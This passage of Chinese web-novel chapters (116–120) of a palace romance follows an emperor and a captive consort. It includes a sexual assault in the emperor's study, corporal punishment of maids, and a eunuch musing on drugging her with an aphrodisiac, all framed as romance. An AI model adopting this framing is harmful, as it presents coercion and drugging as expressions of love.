约摸过了半个时辰,大臣们议完事离开,胡尽忠过来叫她往书房去。 书房里,祁让正靠在椅子上疲倦地捏着眉心,见她进来,就放下手,面色冷沉地盯着她看。 晚余瑟缩了一下,走到书案对面,正要下跪,祁让敲了敲桌面:“别跪了,过来!” 晚余只得绕过书案,走到他跟前,福了福身。 “又哭了?”祁让伸手捏住了她的下巴,语气凉凉道,“这一次,也是因为忧国忧民吗?” 他果然还是生气了。 晚余垂着眼皮,没有回答。 她也实在不知如何回答。 “说话呀!”祁让手指加重力道,“还要朕提醒你多少遍,你现在不是哑巴了。” “嫔妾不知该如何回答。”晚余只得实话实说,“嫔妾若说是忧国忧民,皇上会说嫔妾是骗子,嫔妾若说是因为故人别离,皇上又会生气。” “你倒是会揣度朕的心思。”祁让嗤笑一声,“你难道不是骗子吗,直到此时此刻,你还在骗朕,为了去送人,编出那样冠冕堂皇的借口。” 晚余下颌骨被他捏得生疼,倔强道:“是皇上让嫔妾去送的。” “朕让你去你就去吗,你什么时候这么听话了?”祁让心头火起,“你现在是朕的妃嫔,就该自觉和外男保持距离,朕不过随口一说,你就那样迫不及待,连装都不装一下,你是有多想他,多想和他在一起,嗯?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!我就是想他,我就是想和他在一起,如果不是你,我们早就在一起了! 晚余想着长安骑马离去的身影,对他的恨到达了顶点,恨不得手上有把刀,当场捅进他胸膛。 可她没有刀,即便有,也伤不了他分毫。 为了长安,她只能暂时忍耐,低眉顺眼道:“君无戏言,嫔妾以为皇上是认真的。” 祁让噎了下,只觉她在讽刺自己,心里的火气和醋意无处发泄,起身将她推倒在书案上,撞倒了一大摞奏折。 “唔……”晚余的惊呼声刚起,就被他的唇强势堵住,变成了含糊的呜咽。 晚余羞愤难当,紧抿着唇,咬紧牙关,不肯让他进入。 祁让冷哼一声,一只手在她胸前用力一握。 晚余吃痛,不受控制地张嘴叫出声来。 祁让的舌便趁机攻进去,在她唇齿间疯狂纠缠研磨。 晚余用力想要挣脱,被他整个压在书案上,动弹不得。 她的腰本就酸痛,此时更是像断了一样,脊椎被硬邦邦的桌沿硌得疼痛难忍,痛得她眼泪都流下来。 她已经无法冷静思考,一只手拼命将祁让的身子往外推,一只手在书案上胡乱地摸索,摸到一个什么东西,抓起来就往祁让头上砸去。 “咚”的一声闷响,祁让吸着气松开了她,看着她手里金丝楠木的镇尺,眼底怒意翻涌。 晚余一下子清醒过来,惊恐地丢开了镇尺。 幸好她身子虚弱,手上没什么力气,否则这一镇尺下去,能把人打得头破血流。 她脸色发白,唇上嫣红的口脂已经被祁让吃得所剩无几,露出苍白的底色,一双哭红的泪眼,怯生生地映出男人盛怒的脸。 绝望与凄惶漫上心头,她知道,今天是不可能全身而退了。 念头刚起,祁让便拂落书案上的东西,将她腾空抱起扔了上去。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第116章 你要为沈长安守身如玉吗 晚余挣扎着不肯就范,祁让一只手压住她的肩,一只手扯开了她的衣衫。 “你已经是朕的妃嫔,却不让朕碰,你想干什么?” “为沈长安守身如玉吗?” “不是说和往事做了断吗,为什么还要为他守身如玉?” “你这样子,叫朕怎么相信你们断得了,你真当朕是傻子吗?” “沈长安现在还没走远,朕随时都可以砍了他的脑袋。” “你说,是不是只有杀了他,才能彻底断了你的念想?” 男人发狠的质问,一字一句如刀子从心头划过。 晚余停止了挣扎,绝望地闭上双眼。 屈辱的眼泪从两边的眼角流出来,濡湿了鬓发,像两条源源不绝的溪流。 然而,那令她恐惧的时刻却迟迟没有到来,身上的男人突然变得安静,动作也停了。 若非还能听到他的呼吸声,她都要以为他已经离开。 她身子战栗着,不知道他又要使什么手段折磨她,也不敢睁眼去瞧。 而此时的祁让,正盯着她战栗的身体,盯着她雪白肌肤上青一块紫一块的伤痕,神情变得十分复杂。 半晌,他的目光向上,从她身上移到她脸上,她脸上的妆容已经被泪水冲花,眼角的泪水正如溪水潺潺流淌。 祁让身体里的燥热冷却下来,心也跟着冷下来。 他弄伤了她,这何尝不是她反抗的结果? 她反抗,是因为她的心在另一个男人身上。 只因为他不是那个男人,她就哭成这样。 昨夜她在他身下时,心里是不是也在想着那个男人? 呵! 他冷笑一声,向后退开,狭长凤眸如同结了冰霜,寒意彻骨。 恰好这时,胡尽忠在外面禀道:“万岁爷,康嫔来接江采女了。” “让她等着。”祁让瞬间恢复了帝王的沉稳气度,慢条斯理地整理自己的袍服,对晚余冷声道,“去吧,到你该待的地方去吧!朕等着你主动来求朕的那一天!” 晚余如同劫后余生,颤巍巍地站了起来,双手哆哆嗦嗦地把自己的衣裳穿起来。 头发是没功夫重新梳了,她只能用手理了理,把乱发别在耳后,从袖子里掏出帕子,擦掉脸上的泪痕,跪在地上拜别祁让,便起身向外走去。 她的腰很痛,便越发挺直了腰身,从祁让的角度看,简直比宁死不屈还宁死不屈。 祁让用力捏着扳指,把后槽牙磨了又磨。 行。 宁死不屈是吧? 守身如玉是吧? 他倒要看看,她这倔驴脾气,在后宫能活几日。 他就把话放这儿了,他等着她主动来求他的那一日。 晚余出了南书房,第一眼对上的便是康嫔刀子似的目光。 “江采女好大的派头,竟叫本宫等了这么久!”她咬牙切齿地说道,视线落在晚余散乱的发髻和雨打梨花般的小脸上。 贱人,居然在南书房勾引皇上! 康嫔攥了攥手指,恨不得立刻赏她一记耳光。 到底念着是在皇帝眼皮子底下,不敢造次,又想着既然来了,好歹见皇上一面,便扒开晚余向里面娇声道:“皇上,臣妾能进去吗?” 晚余被她扒得一个趔趄,幸好梅霜和紫苏也过来了,及时扶了她一把。 就听祁让在里面沉声道:“不必了,朕忙得很,先把人带回去吧!” 康嫔的笑容僵在脸上。 大敌当前,皇上还有闲情和江晚余颠鸾倒凤,自己巴巴的跑来,他却又忙得顾不上了。 她转过身,怨毒地瞪了晚余一眼:“走吧,还要本宫亲自扶你不成?” 晚余一言不发地福了福身,跟着她往月华门的方向走去。 咸福宫属于西六宫,在西六宫的西北角,位置相对偏僻。 康嫔的肩辇在月华门外停着,出了门,她便坐上了肩辇,晚余只能和其他宫女一起跟在她后面。 队伍浩浩荡荡走过,引得各宫的宫人争相观看。 妃嫔们自持身份,不能站在宫门口看热闹,自然有心腹把情况说与她们听。 听说江晚余是被康嫔从南书房接出来的,出来时还鬓发散乱,妆容不整,便知道她和皇上在南书房没干好事。 果真是个狐媚子,今儿个可是圣母皇太后的忌日,她还勾引皇上做那种事。 有她在宫里,东西十二宫还能好日子过吗? 这样的祸害,还是趁早弄死干净。 到了咸福宫,康嫔直接回了正殿,让晚余自行去西配殿安置。 因着是皇上特地吩咐,康嫔不敢打马虎眼,确实让人把西配殿收拾的十分妥帖。 只是晚余位分低,一应用品也都不是多好的东西。 晚余无所谓,咸福宫离乾清宫最远,她很满意这个地方。 她就是想在离祁让最远的地方安静待着。 经过昨晚和刚刚在南书房吃过的亏,她已然明白,以她现在的状况,根本无法与祁让对抗,对抗他的后果,只会让自己伤痕累累。 她得好好想想别的应对之策。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!长安走了,她住进后宫,再想见徐清盏也没那么容易,今后的路,只能靠她自己摸索着走了。 还有齐嫔的死,她也不能束手旁观,她总要做点什么,暗中协助徐清盏查清此事。 但她现在脑子很乱,已经没办法正常思考,她决定先好好睡上一觉,一切都等养足了精神再说。 可她想睡却也没那么容易,刚洗了把脸,被梅霜和紫苏扶着躺到床上,康嫔身边的大宫女青萝就过来了,叫她去正殿服侍康嫔用午膳。 梅霜说:“我们小主身子不爽利,刚睡下。” 青萝冷哼一声:“大白天的睡什么睡,勾搭皇上时生龙活虎,这会子又不爽利了,这是摆明了不把我们娘娘放在眼里吗?” 梅霜气极:“你说的这叫什么话,你哪只眼睛看到我们小主勾搭皇上了?” 话音未落,青萝扬手给了她一巴掌:“小贱蹄子,敢跟我顶嘴,你算个什么东西?” 梅霜脸上立刻浮现五个手指印,疼得两眼含泪。 紫苏忙上前把她拉到身后:“青萝姐姐,大家都是奴才,我们初来乍到的,您且高抬贵手。” “奴才和奴才也是不一样的。”青萝傲慢道,“快些叫你们小主去伺候,误了我们娘娘用膳,可就不是一巴掌这么简单了。” 正说着话,晚余扶着腰从里面走了出来:“姑娘别吵了,我这就过去。” 青萝见她卸了钗环,洗去了妆容,一副清水芙蓉般的素雅模样,眼里闪过嫉妒的光。 “说什么身子不爽利,这不好好的吗,赶紧的吧,饿着娘娘,你们谁都吃罪不起。” 晚余应了一声就往外走。 梅霜和紫苏一左一右去搀扶。 梅霜小声道:“小主,您这身子能行吗,奴婢去告诉皇上吧?” “不许去!”晚余立刻出声制止她。 祁让就等着自己去求他呢,这才离开不到一个时辰,倘若真去求他,他肯定会说:“看吧,朕就知道,你离开了朕,一刻都活不下去。” 她甚至能想象到他说这话时的表情,以及那揶揄的语气。 她宁愿被康嫔刁难,也不会去求他的。 她却不知道,她前脚进了正殿,后脚就有人把这边的情况禀报给了祁让。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第117章 实在不行,给江采女下点药吧 祁让这会子也在用午膳。 听闻晚余被康嫔叫去伺候午膳,他只是无动于衷地嗯了一声。 不愿意伺候他,就只能去伺候别的妃嫔了。 这是她自己选的。 她不是想躲他吗? 不是想为沈长安守着吗? 那就让她守着吧! 胡尽忠在一旁冷眼瞧着,大约也明白皇上是什么意思。 皇上想让江采女在康嫔那里多受些磋磨,等她受不了的时候,就会主动放下身段向他求救。 说到底,就是觉得江采女骨头太硬,想折了她这一身傲骨,让她彻底臣服于他。 可傲骨之所以称之为傲骨,就是因为不肯低头,不肯折腰呀! 江采女真要向他臣服了,他还未必喜欢呢! 他喜欢的,不就是人家那股子劲儿吗? 唉! 这可真是当局者迷,旁观者清。 偏生皇上又死要面子,不肯听自己这个智多星给他出招。 岂不知,他折磨江采女的时候,也是在折磨他自己。 这傻万岁爷哟! 情爱的苦,他就慢慢尝吧! 正胡思乱想,外面有小太监来报:“皇上,孙大总管从皇陵回来了。” 胡尽忠立时垮下脸。 孙大总管不在宫里这两天,他可是出尽了风头,如今孙大总管一回来,他又要被压下去了。 这日子,什么时候是个头呀? 他什么时候才能压过孙良言,当上大总管呀? 看来还是得从江采女那里找出路,只要能想法子哄得江采女对皇上转变心意,不愁皇上不对他另眼相看。 实在不行,给江采女下点药吧? 下点猛的。 没有男人就缓解不了的那种。 宫里只有皇上一个男人,到时候,她想不要皇上都不行。 不过话说回来,这想法是不是太缺德了? 缺德又怎样,他又不是没干过缺德事,他这也是为了急主子所急,想主子所想,一切都是为了主子。 门帘一响,孙良言风尘仆仆地从外面走了进来。 “奴才见过皇上。”孙良言屈膝下跪行礼,“皇上,奴才听说……” “听说什么?”祁让放下筷子问道。 孙良言想说,自己听说晚余姑娘被封了采女,话到嘴边又改了口:“奴才听说西北起了战事,怕皇上着急,皇上千万保重龙体。” “嗯。”祁让点点头,“起来吧,你也辛苦了,朕已经让兵部户部调兵筹粮赶赴西北增援,沈将军也已经出发前往西北,你就不要操这个心了,回去好好收拾一番再来伺候吧!” “多谢皇上,奴才告退。” 孙良言起身要走,负责在咸福宫打探消息的小太监又来了:“启禀皇上,康嫔娘娘嫌江采女服侍的不好,让她到院子里罚跪。” 祁让刚夹了一个鱼丸往嘴里送,闻言手一抖,鱼丸掉在地上,骨碌碌滚到了桌子底下。 孙良言便趁机问道:“哪来的江采女?” “哎哟,孙大总管还不知道吧,咱们晚余姑娘已经被皇上临幸,封了采女,赐居咸福宫了。”胡尽忠笑着跟他显摆。 “啊?”孙良言做出惊讶的表情,“这是什么时候的事?” “就是昨天晚上的事。”胡尽忠冲他挤眉弄眼道,“恰好您不在,没赶上。” “……”孙良言白了他一眼,“什么叫我没赶上,这事跟我有关系吗?” 转脸又向祁让道:“皇上怎么给晚余姑娘封了这么低的位分?” “不然呢?”祁让没好气道,“她欺君罔上,还对朕以死相逼,朕没砍了她的脑袋就是她的造化,难不成还给她封个皇后当当?” “……”孙良言噎了一下,又道,“就算封了采女,那咸福宫也不是个好去处呀,康嫔娘娘脾气向来不好,江采女性子软糯……” 祁让不禁冷笑一声:“她性子软糯,这话你是怎么说出口的,你难道不知道她骨头有多硬吗?” “所以呢,皇上是叫她去咸福宫磨性子吗?”孙良言问道。 祁让黑着脸,没了言语。 孙良言好言相劝:“奴才明白皇上的意思,但凡事要有个度,磨性子的法子有很多种,这一种未必适合江采女。” “你倒来教朕!”祁让不悦地站起身,饭也不吃了,“你们一个个的都挺懂啊,都来给朕当老师了是吧?” “……”孙良言和胡尽忠面面相觑,谁也不敢再吭声。 祁让怒冲冲地回了寝殿,看到腿脚没好利索还坚持来给他铺床的雪盈,不禁又想起徐清盏设计让马车在宫门口出意外的事。 他们多厉害呀,一个个的挖空心思,把他这个皇帝玩弄于股掌之间。 相比他们的背叛与欺骗,他对他们的惩罚实在太轻了。 除了上吊的齐嫔,他甚至连一顿板子都没打过他们。 他都这样容忍他们了,那个可恶的女人还想怎样? 既然她宁愿受别人的磋磨也不愿待在他身边,那就让她跪着吧! 看看到底是她的膝盖硬,还是咸福宫的地砖硬! 本小章还未完,请点击下一页继续阅读后面精彩内容!祁让上了床,郁闷地闭上眼睛。 床单被褥都是新换的,不知怎的,他却从中闻到了那女人身上的香气。 想着她昨晚手戴镣铐被自己搂在怀里的情形,心里又是一阵烦躁,向外面扬声喊道:“胡尽忠!” “万岁爷,奴才在呢!”胡尽忠小跑着进来,“万岁爷有何吩咐?” “咸福宫有什么动静吗?”祁让问。 胡尽忠摇摇头:“没有。” “她那两个丫头呢?”祁让又问。 言下之意是,那两个丫头怎么一个都没来求救? 胡尽忠说:“可能不敢来吧,或者江采女不让来。” “那就让她接着跪。”祁让翻了个身,“你出去吧!” 胡尽忠叹口气,退了出去。 过了一会儿,祁让又在里面问:“还没动静吗?” “没有。”胡尽忠说,“万岁爷你放心睡吧,有动静了奴才就告诉您。” 里面安静下来。 又过了一会儿,脚步声响起,祁让自己穿好衣裳走了出来。 胡尽忠吓一跳,忙问:“万岁爷,您怎么不睡了?” “睡不着,摆驾咸福宫!”祁让冷着脸说道。 胡尽忠很是无语,心说就这样还磨人家的性子呢? 只怕人家的性子还没磨好,他的性子倒是磨出来了。 当下不敢多说,忙叫人抬了肩辇来,送他去咸福宫。 到了咸福宫,一进门,就看到晚余和两个丫头跪在院子当中的地砖上。 难怪没一个人去求救,原来都跪着呢! 祁让下了肩辇,一步一步向着那个倔强的身影走过去。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第118章 她到底还是要低头了吗 康嫔听到通传,急急忙忙从正殿迎出来,陪着笑,心虚地问道:“皇上,您怎么这会子过来了?” 祁让伸手拉住康嫔的手,冷冰冰的目光却落在晚余不施粉黛的惨白小脸上:“朕听说江采女伺候不周,惹你生了气,特地过来为你做主的!” 康嫔愣了下,不敢置信地望着他冷峻却又完美到无可挑剔的脸,试探性地往他怀里靠去:"皇上是说真的吗?" "当然。"祁让的目光仍旧没从晚余脸上移开,一字一顿道,"君无戏言。" 晚余安静地跪在地上,低垂的睫毛颤了颤,冻得发白的唇抿成一条线。 君无戏言。 这句话是她之前在南书房说过的。 祁让眼下用强调的语气说出来,可见在南书房生的气到现在都还没消。 此时突然到咸福宫来,肯定也不是巧合,是有人给他报了信儿。 她都这样了,他还是不放心,专门派人监视着她。 这会子过来,是想看她笑话,还是想落井下石? 不管是哪种,总归是想看她低头。 可她不想低头。 低头的下一步就是侍寝。 她不想侍寝。 她暗自思忖着,就听祁让温声问康嫔:“她怎么招惹你了?” 康嫔见祁让没有推开自己,胆子就大了些,撒着娇道: “臣妾想着江妹妹刚入后宫,有些规矩还不懂,就想趁着午膳的时候,教她一些规矩,顺便把明日去拜见太后和贵妃的礼仪教给她。 谁知她心不在焉,不听臣妾教诲也就算了,还把一碗热汤洒在臣妾身上,皇上您说说看,她如此失礼,臣妾罚她跪一会儿有错吗?” 祁让即使在听康嫔说话的时候,眼睛仍在晚余身上。 康嫔很会挑地方,专门让人跪在风口上,晚余之前因要伺候她用膳,披风什么的都不能穿,只穿了一身浅粉色的袄裙,此时早已冻透了,尽管极力克制,身子还是不受控制地打战。 那张本来就洗尽铅华的小脸也早已冻得发白,嘴唇都变成了乌紫色。 祁让盯着她的唇,想起两个时辰前,这唇还红润润如带水的樱桃,一口就能咬出甜美的汁液。 他喉结滚动了一下,垂在身侧的手指微微一跳,有种想把她拉进怀里的冲动。 可他怀里此刻还腻着一个康嫔,他只得清了清嗓子,语气凉凉道:“江采女,康嫔说的是真的吗?” 他想,只要她说一句不是真的,他就能叫她先起来,带到殿里去审,免得她在这里受冻。 或者她哭一哭,掉两滴眼泪也是好的,这样至少说明她受了委屈,愿意在他面前流露出来。 再不济,她主动认了错,求自己宽恕,自己也能借着这个台阶,给她一个轻松些的惩罚。 可是晚余却没有如他所愿,没有争辩,也没有掉眼泪,错倒是认了,说的却是:“嫔妾蠢笨无礼,冲撞了康嫔娘娘,嫔妾知错,嫔妾认罚。” 祁让一口气堵在心口处,上不去也下不来,气得脸色都变了。 她怎么就这么倔? 怎么就这么犟? 她难道不知道他是专门来给她解围的吗? 求他一下会死吗? 之前不是挺能哭的吗,碰一碰就哭,亲一亲就哭,现在怎么不哭了? 晚余确实不打算再哭了。 这些时日,她已经在祁让面前流了太多眼泪,可帝王的心冷硬如铁,眼泪对他不起任何作用,还会让自己显得特别软弱。 从今以后,她不会再轻易掉眼泪,更不会在祁让面前掉眼泪。 紫禁城里最不缺的就是眼泪,最没用的也是眼泪。 康嫔以为晚余会在皇上面前哭诉一番,说她故意刁难之类的,以此来博取皇上的同情。 皇上对她正是新鲜的时候,保准三两下就被她哭得心软,带回殿里好生安抚。 说不定还会为了给她出气惩罚自己。 谁知她竟然什么也没说,就这样直接承认了。 康嫔很是意外,拉着祁让的手道:“皇上您瞧,她自己也承认了,可见臣妾并没有冤枉她,就这样罚她跪一跪很过分吗?” “不过分。”祁让心中的火撒不出来,恨恨道,“以朕看,你实在心慈手软,罚得太轻了” 康嫔眼睛一亮:“那以皇上的意思,该如何责罚?” 胡尽忠在一旁急得要死。 皇上这是干嘛? 他大老远的跑过来是为了什么? 不是为了英雄救美吗? 眼下三句话没说到头,他又气性上头,要帮着康嫔惩罚江采女。 他难道不知道江采女是什么脾气吗? 他越是罚得狠,越是把人推得更远呀! 皇帝不急太监急,这话真没错,他这个太监真的要急死了。 正急着,祁让转头向他看过来:“胡尽忠,你主意多,你说该怎么罚?” 胡尽忠顿时两腿一软。 皇上真会坑人。 亏得自己替他急成这样,他转脸就把自己拉进了火坑。 问他怎么罚。 他怎么知道怎么罚? 罚得轻了,皇上认为他故意放水。 罚得狠了,人要是有个好歹,皇上第一个饶不了他,江采女也会恨他。 他里外不是人。 这时,梅霜突然膝行上前,对祁让磕头道:“皇上明鉴,不是我们小主的错,我们小主一直在认真聆听康嫔娘娘教诲,那碗汤也是康嫔娘娘故意没接住才弄洒的。” 康嫔脸色一变,指着她厉声道:“大胆,你这贱婢信口雌黄,本宫一宫主位,若真想刁难一个小小的采女,有的是理由,何至于故意烫伤自己。” 说罢又抱着祁让的胳膊晃了晃:“皇上,臣妾没必要这么做,您不要听这贱婢胡说八道。” 祁让没理会她,直直看向晚余:“你的丫头说的可是真的?” 晚余的膝盖被冷硬的地砖硌得生疼,手指在身侧不自觉攥起。 她知道梅霜是为她好,可这丫头真的太莽撞了。 她若说是这丫头说的真的,她们主仆得罪了康嫔,今后在咸福宫会更加艰难。 她若说不是真的,梅霜就会挨罚,甚至有可能因为诬告主子丢了性命。 如此一来,横竖都没有化解之法,唯一的出路,只能是她向祁让低头。 所以,她到底还是要低头了吗? 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第119章 她死了,朕还罚谁去? 胡尽忠显然也想到了这点,三角眼顿时亮起来。 皇上之所以让自己把这两个丫头从掖庭调出来,不就是为了用她们来挟制江采女吗,眼下正好派上用场。 他上前一步,大声道:“皇上,主子失误,都是做下人的提点不到,奴才觉得该罚的不是江采女,而是这两个没眼色的丫头,不如将这两个丫头各打五十杖以儆效尤!” 晚余心下一紧,表情无法再保持平静。 祁让看着她已经开始动容的脸,漠然道:“那就打吧!” “是。”胡尽忠应声,立刻吩咐人拿刑杖过来。 梅霜和紫苏都变了脸色,趴在地上瑟瑟发抖。 康嫔对这个惩罚却不满意。 不罚主子罚奴才,皇上明显还是舍不得这狐媚子挨打。 但那碗汤确实是她故意没接稳的,她也怕说多了把自己坑进去,只得默默闭了嘴,不敢质疑皇上的决定。 祁让弯下腰,最后一次问晚余:“你还有申辩的机会,你到底要不要和朕说实话?” 晚余脸上已经完全没了血色,在听到他这句话时,终于抬头向他看过去。 两人的目光近距离交织在一起,祁让清晰地看到了她眼中的怨恨,也看到了她眼中的自己。 他想,恨他也没关系,他就是要让她眼里时时刻刻都有他的身影。 而不是沈长安。 或者徐清盏。 然而,下一刻,晚余的眼睛突然合起,人也一头栽倒在冰冷的地砖上。 祁让的心猛地收紧,手上没有片刻迟疑,甩开还抱着自己胳膊的康嫔,蹲下去将晚余捞起来搂进了怀里。 胡尽忠也吓了一跳,随即又想,这样也好,对两人来说都是个台阶。 当下便大声道:“皇上快把江采女抱进去吧,奴才这就叫人传太医过来。” 祁让阴沉着脸,把人抱起来往西配殿而去。 紫苏连忙拉起梅霜跟在他身后。 康嫔被他甩得一个趔趄,差点没摔倒,借着青萝的搀扶稳住身子,看着他急急远去的背影,气得脸色铁青。 皇上嘴上说得好听,说什么特地来为她做主。 结果那贱人一晕倒,他就什么都顾不上了。 可见根本就不是来为她做主的,是怕那贱人受委屈才专程过来的。 祁让一口气把人抱进西配殿,在紫苏的引领下走进内室,把人放置在床上。 小小的一张床,只有两条花色陈旧的薄被子。 祁让皱眉道:“被子怎么这么薄,再拿两条过来。” “没有了。”紫苏说,“我们小主位分低,按例就只能分到这些。” 祁让的脸色变了变,直到这时,才后知后觉地想起自己把这女人放在咸福宫的目的。 他是为了惩罚她,为了让她反省自己的错误,为了让她向他臣服。 可他现在在干什么? 从昨晚到现在,他在干什么? 他本该直接将她扔在这里不闻不问的,可是从昨晚到现在,他一直在围着她转。 一个骗子而已。 一个心里没有他的骗子而已。 他为什么要围着她转? 他这卑微又紧张的样子,哪里还像是一个高高在上的皇帝? 再这样下去,到底是他在驯服这个女人,还是这个女人在驯服他? 他深吸一口气,最后看了眼床上昏迷不醒的女人,冷着脸一言不发地走了出去。 胡尽忠正要进去,见他出来,忙躬身道:“皇上要去哪儿?” “摆驾,回乾清宫。” “啊?”胡尽忠往里面看了一眼,“皇上不管江采女了吗?” “她不配!”祁让冷冷吐出三个字,负手大步而去。 胡尽忠人都傻了,头一回觉得自己脑子不够用。 皇上这是怎么了,刚刚还紧张成那样,怎么转个脸又变了? “皇上,那太医还请吗?” “请啊,怎么不请,她死了,朕还罚谁去?” “……” 好吧! 胡尽忠已经无话可说,默默地跟着他离开。 康嫔也没想到皇上这么快就走,怯怯地迎上去问:“皇上,您这就走了吗,江采女……还罚不罚了?” 祁让顿住脚步,冷冽的目光从她脸上扫过。 康嫔后背一阵发凉,忙福身道:“臣妾恭送皇上!” 祁让上了肩辇,被一群人前呼后拥着离去。 胡尽忠到底不放心,叮嘱了康嫔一句: “江采女的身子实在经不起折腾了,娘娘便是要罚,也让她先缓两日再说吧,万一有个好歹,到时候都是您的责任。” “本宫知道了,多谢胡二总管提点。” 康嫔僵笑着应了一声,等祁让的队伍走出宫门,心有不甘地往西配殿看了一眼,恨恨地扶着青萝的手回了正殿。 西配殿里,晚余缓缓睁开眼睛。 梅霜正守在床前掉眼泪,看到她醒来,惊喜道:“小主,您醒了?” 紫苏闻言忙也凑过来看:“小主,您醒了,可有哪里不舒服,您坚持一下,太医很快就来了。” 晚余缓了缓,对梅霜道:“你去给我倒杯热水来。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!梅霜应是,出去倒水。 晚余招手示意紫苏上前,小声道:“我没事,我装的。” 紫苏愣了下,看着她苍白的小脸,又是心疼又是欣慰。 甭管怎么着,小主到底还是被逼着做出了转变,知道不能和皇上硬着来,就学会了耍心眼。 她也说不上来这样是好是坏,就是觉得挺心酸的。 小主真是太不容易了。 “小主,奴婢知道您心思玲珑,只要您愿意,这后宫未必不能混出一片天地,奴婢说这话不是要劝您妥协,咱就算受气,也不能谁的气都受,小主懂奴婢的意思吗?” “我懂。”晚余拉着她的手轻拍了两下,“你放心,我知道该怎么做。” “这就好。”紫苏含泪道,“不论小主将来能走到哪一步,奴婢都会一直陪着您的。” “嗯。”晚余点点头,“我知道你是个好姑娘。” 紫苏说:“梅霜也很好,她就是没心眼,奴婢会好好教她的。” “不。”晚余摇头,“她不是没心眼,她只是装的没心眼。” 紫苏吃了一惊,转头往外看了一眼,小声道:“小主,您什么意思,难不成,梅霜她……” 话没说完,梅霜端着茶水走回来,紫苏便打住了话头。 没多久,太医来了,给晚余诊了脉,说她气血亏损严重,开了方子让每天两次服用,连喝七日看看效果再说。 康嫔得了胡尽忠的提点,接下来的时间没有再为难晚余。 主仆三个总算有惊无险地把这一夜熬了过去。 次日一早,刚用过早饭,康嫔就打发青萝来通知晚余,让晚余赶紧收拾收拾,随她去慈宁宫给太后请安。 晚余位分低,也不愿张扬,略微收拾了一下,就跟着她去了。 到了地方一看,所有的妃嫔都来了。 晚余心里明白,这些人都是冲她来的。 她定了定神,挨个给太后和各位妃嫔行礼问安。 在座的每一个位分都比她高,又都存了心的刁难她,冷嘲热讽的话说了一大堆,一圈下来,简直比罚跪还累。 太后倒还好,没怎么为难她,眼见着她被妃嫔们刁难得差不多了,就及时出声制止道:“罢了,哀家乏了,今天就到这里吧,你们且先回去,江采女留下,哀家还有话嘱咐你。” 众人想着,太后当着她们的面不好表现的太刻薄,这会子怕是要单独训斥江采女,于是便纷纷起身告辞而去。 等人都走完了,太后向晚余伸出手:“走吧,扶哀家到暖阁去躺一会儿。” 晚余心中忐忑,不知她此举何意,温顺地应了一声,扶着她去了暖阁。 一进门,就看到南窗下的炕上坐着一个人。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第120章 只要你想出宫,什么时候都不晚 晚余看到那张和自己有几分相似的脸,不自觉松开了太后的手,站在门口不肯再往里走。 太后看看她,又看看已经站起来迎接的江晚棠,笑着解释道:“你姐姐听说你被皇帝纳入后宫,很担心你,特地央求哀家把你带过来,想和你说说话。” “是啊晚余,姐姐听说了你的事,都快心疼死了。”江晚棠快步迎上来,伸手去拉晚余的手,“快进来,让姐姐好好看看你。” 晚余猛地把手背在身后,眼里的厌恶和抵触不加掩饰。 阿娘不在了,她和江家已经没有任何关系,她也无须再给江家人好脸色。 这个害了她一辈子的长姐,更是让她打心底里厌烦。 她对她的恨,和对祁让的恨是一样的。 她屈膝对太后福了福身:“嫔妾病体未愈,精神不济,请太后恩准嫔妾先行告退。” 太后细细打量她眉眼,明明生得一副娇花照水的可怜模样,瞧着比她姐姐还娇软几分,怎么偏是这般宁折不弯的性子,浑身长了刺一样。 难怪皇帝那样手段强硬的人,都不能叫她服软。 太后脸上的笑容慢慢收敛起来,语气还算和蔼:“你就略微坐一坐吧,不但你姐姐想和你说话,哀家也想和你说说话,你不会不给哀家这个面子吧?” 晚余一怔,心中警铃大作,直觉她们两个如此刻意地把她哄到这里来,绝不只是说说话这么简单。 可太后都拿自己的面子说事了,她也不能强行离开,只得跟着进了暖阁。 “好妹妹,快坐。”江晚棠俨然此间的主人,先扶着太后坐下后,又殷勤把晚余也让到炕上落座,自个挨着她坐下来。 晚余不习惯她的碰触,默默地往旁边挪了挪。 江晚棠见她如此,脸色又尴尬又难过:“好妹妹,我知道你生我的气,不愿意和我亲近,可我当初也是有苦衷的。” 她掏出帕子,擦了擦眼角:“皇上对你做的那些事,我都听说了,想必你也应该明白我当初为什么不愿意嫁给他了吧? 他就是个心狠手辣,冷血无情的暴君,我那时只要一看到他,就本能地感到害怕……” “所以你就把我弄进来代替你吗?” 晚余打断她的话,红着眼睛质问她,“你自己一看到就害怕的人,难道我就不害怕吗? 你不愿嫁的人,难道我就愿意吗? 如今我被你害成这样,你又来我面前假惺惺的抹眼泪,有意思吗?” 她本不是咄咄逼人的性子。 只是一想自己这五年来所受的煎熬,想到自己在祁让手里所受的屈辱,想到长安临走前的眼泪,想到被连累的齐嫔和徐清盏,再看江晚棠这张假惺惺的脸,心中的怨恨就怎么也压不住。 要不是太后在,她真想往这张假惺惺的脸上扇两巴掌。 江晚棠被她一连声的质问惊住,一张俏脸涨得通红:“晚余,你别激动,听我说,咱们都是受害者。” “咱们?”晚余自嘲一笑,“我不过是外室所生的贱丫头,哪有资格和你这金尊玉贵的嫡长女相提并论? 你这个罪魁祸首,又有什么资格在我面前自称受害者? 你想说什么就直接说吧,不用和我拐弯抹角装可怜,不是可怜人,再怎么装也装不出来的。” 江晚棠没想到她态度如此生硬,讪讪地看了太后一眼。 太后叹口气,一脸慈爱劝她:“你不要怪你妹妹,你妹妹心里苦,便是埋怨你几句也是应该的。” 江晚棠哽咽着点了点头:“是我害了妹妹在先,我怎么有脸怪她,别说她埋怨几句,便是打我骂我,往我身上捅几刀,那也是我该得的。” “话也不能这么说,当年的事不全怪你。”太后安抚着她,又对晚余语重心长道,“你虽然替你姐姐受了几年的苦,可当年把你送进宫的是你父亲,你姐姐事先并不知情。 这几年,她因为愧对你,暗中一直托哀家照拂于你。 你被淑妃毒哑后,是哀家坚持说你身有残疾不能做妃嫔,才保你这几年没被皇帝临幸。 